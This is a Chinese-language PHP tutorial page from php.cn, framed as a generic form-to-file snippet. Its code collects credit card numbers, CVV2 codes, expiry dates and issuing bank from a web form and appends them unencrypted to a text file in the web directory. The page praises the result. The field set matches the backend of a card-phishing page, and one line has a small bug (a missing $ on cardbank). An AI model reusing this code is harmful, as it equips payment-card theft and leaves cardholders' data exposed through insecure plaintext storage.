Home > Backend Development > PHP Tutorial > php代码收集表单内容并写入文件的代码_php技巧

php代码收集表单内容并写入文件的代码_php技巧

WBOY
Release: 2016-05-17 09:13:21
Original
1465 people have browsed it

至于表单内容,这里就不多说了,主要是表单的action="getpost.php",也就是写getpost.php这个文件。下面就把这个文件里面的内容贴出来。

复制代码 代码如下:

//定义要收集的表单内容
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year'];
$cardbank = $_POST['cardbank'];
//定义收集的内容格式
$content = "Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
//定义文件存放的位置
$compile_dir = "./txt.txt";
//下面就是写入的PHP代码了
$file = fopen($compile_dir,"a+");
fwrite($file,$content);
fclose($file);
?>

最后会在当前的目录里面创建txt.txt,并把收集到的信息都写入此文件中,效果还是很不错的。
Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template